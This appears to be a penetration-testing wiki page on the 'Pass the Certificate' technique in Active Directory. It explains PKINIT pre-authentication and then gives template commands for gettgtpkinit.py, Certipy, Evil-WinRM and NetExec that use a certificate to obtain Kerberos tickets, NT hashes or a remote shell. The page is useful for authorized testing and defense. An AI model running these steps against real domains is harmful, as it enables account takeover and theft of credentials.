Pass the Certificate - PKINIT
Theory
The Kerberos authentication protocol works with tickets in order to grant access. An ST (Service Ticket) can be obtained by presenting a TGT (Ticket Granting Ticket). That prior TGT can only be obtained by validating a first step named "pre-authentication" (except if that requirement is explicitly removed for some accounts, making them vulnerable to ASREProast). The pre-authentication can be validated symmetrically (with a DES, RC4, AES128 or AES256 key) or asymmetrically (with certificates). The asymmetrical way of pre-authenticating is called PKINIT.
Pass the Certificate is the fancy name given to the pre-authentication operation relying on a certificate (i.e. key pair) to pass in order to obtain a TGT. This operation is often conducted along shadow credentials, AD CS escalation and UnPAC-the-hash attacks.
Practice
If you encounter the errorKDC_ERR_PADATA_TYPE_NOSUPP
when attempting to pass the certificate through PKINIT, this may be an indication that the targeted KDC do not have certificates with the necessary EKUs (Extended Key Usages). Specifically, for a KDC to support PKINIT, its certificates must include the Smart Card Logon
EKU.
However, you can try to pass the certificate using Schannel.
PKINITtools
From UNIX-like systems, Dirk-jan's gettgtpkinit.py from PKINITtools tool to request a TGT (Ticket Granting Ticket) for the target object. That tool supports the use of the certificate in multiple forms.
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
The ticket obtained can then be used to
authenticate with pass-the-cache
conduct an UnPAC-the-hash attack. This can be done with getnthash.py from PKINITtools.
obtain access to the account's SPN with an S4U2Self. This can be done with gets4uticket.py from PKINITtools.
Certipy
When using Certipy for Pass-the-Certificate, it automatically does UnPAC-the-hash to recover the account's NT hash, in addition to saving the obtained TGT.
certipy auth -pfx <PATH_TO_PFX_CERT> -dc-ip <DC_IP> -username <user> -domain <DOMAIN_FQDN>
Evil-WinRm
Evil-WinRM uses the WinRM protocol based on Windows Management Instrumentation (WMI) to give us an interactive shell on a Windows host. Winrm Supports PKINIT, so we can authenticate with a certificate.
evil-winrm -i <TARGET_IP> -c <PATH_TO_PEM_CERT> -k <PATH_TO_PEM_KEY> -S -r <DOMAIN_REALM>
Evil WinRM doesn't directly support PFX files and need a PEM certificate and private key. The following commands can be used to convert a PFX file in PEM formats
# Exctract PEM certificate
openssl pkcs12 -in <PATH_TO_PFX_CERT> -clcerts -nokeys -out <PATH_TO_NEW_PEM_CERT>
# Extrcat PEM key
openssl pkcs12 -in <PATH_TO_PFX_CERT> -nocerts -out <ENC_PEM_KEY>
openssl rsa -in <ENC_PEM_KEY> -out <FINAL_PEM_KEY>
NetExec
You can also use Netexec to perform Pass-the-Certificate authentication:
netexec <proto> <ip> --cert-pfx "PATH_TO_PFX_CERT" -u user
netexec <proto> <ip> --cert-pfx "PATH_TO_PFX_CERT" --pfx-pass "CERT_PASSWORD" -u user
netexec <proto> <ip> --pfx-base64 "PATH_TO_PFX_CERT" -u user
netexec <proto> <ip> --cert-pem "PATH_TO_CRT" --key-pem "PATH_TO_KEY" -u user
Last updated
Was this helpful?